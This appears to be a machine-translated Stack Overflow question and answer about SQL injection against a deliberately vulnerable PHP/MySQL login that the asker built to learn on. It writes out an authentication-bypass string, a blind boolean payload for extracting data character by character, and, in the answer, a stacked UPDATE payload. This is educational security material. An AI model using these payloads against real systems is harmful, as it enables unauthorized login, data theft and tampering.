我正在学习 SQL 注入(inject),并构建了一个没有 SQL 注入(inject)保护的 Web 应用程序(PHP + MYSQL(5.6))。
简而言之,我的网络应用程序使用
SELECT * FROM XXX.USER WHERE user_name='${USERNAME}' AND password='${PASSWORD}'
处理登录(如果该sql只返回1行,则登录成功)。
一开始,我发现输入USERNAME Sayakiss' --
然后是我的SQL:
SELECT * FROM XXX.USER WHERE user_name='Sayakiss' -- ' AND password='${PASSWORD}'
通过这种方式,攻击者可以不用密码登录为 Sayakiss
。
然后我发现了一些更有趣的东西(select
子句可以在 if
函数中)——攻击者输入 USERNAME as
Sayakiss' and if((select ascii(mid(z,p,1)) from x.y limit n,1)=c,1,0) --
这可以检查表
是否等于 z
列n
第p
位置字符的ascii x.yc
。
如果攻击者登录成功,那么他就知道字符的ascii等于c
。
所以攻击者可以通过枚举获取我数据库的所有内容!
现在我想知道,如何(如果可能的话)以类似的方式执行更新查询来写入数据库?
最佳答案
我相信是这样,攻击者可以进行更新,可能需要表名和字段才能正确运行。
我想查询应该是这样的
'Sayakiss'; UPDATE table_name SET field1=new-value1, field2=new-value2
WHERE user_name='Sayakiss'; --
Relevant和
Some more
关于mysql - 可以在 WHERE 中执行 UPDATE 子句吗?,我们在Stack Overflow上找到一个类似的问题: https://stackoverflow.com/questions/34193383/